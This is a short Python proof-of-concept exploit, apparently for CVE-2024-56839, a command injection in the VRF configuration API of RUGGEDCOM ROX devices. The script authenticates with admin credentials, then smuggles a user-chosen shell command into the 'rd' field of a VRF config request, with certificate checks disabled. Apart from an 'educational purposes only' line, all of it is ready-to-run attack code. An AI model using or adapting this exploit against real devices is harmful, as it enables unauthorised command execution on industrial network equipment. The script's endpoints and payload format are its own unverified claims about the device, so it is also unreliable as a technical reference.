CVE-2024-56839

#!/usr/bin/env python3 """ CVE-2024-56839 PoC - RUGGEDCOM ROX VRF Code Injection Note: This PoC is for educational purposes only. Authorization required. """ import requests import argparse def exploit_vrf_injection(target_ip, username, password, cmd): """ Exploit CVE-2024-56839: VRF Code Injection in RUGGEDCOM ROX devices Prerequisites: - Valid administrator credentials - VRF feature must be enabled - Network access to the device management interface """ login_url = f"https://{target_ip}/api/login" vrf_url = f"https://{target_ip}/api/vrf/config" # Step 1: Authenticate with valid credentials session = requests.Session() login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, verify=False, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Authentication successful") # Step 2: Inject malicious code through VRF parameter # The vulnerability allows command injection in VRF configuration inject_payload = f"; {cmd} #" vrf_data = { "vrf_name": "test_vrf", "rd": f"65000:100{inject_payload}", "description": "VRF configuration test" } response = session.post(vrf_url, json=vrf_data, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully") print(f"[+] Command executed: {cmd}") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2024-56839 PoC") parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("-c", "--command", default="id", help="Command to execute") args = parser.parse_args() exploit_vrf_injection(args.target, args.username, args.password, args.command)

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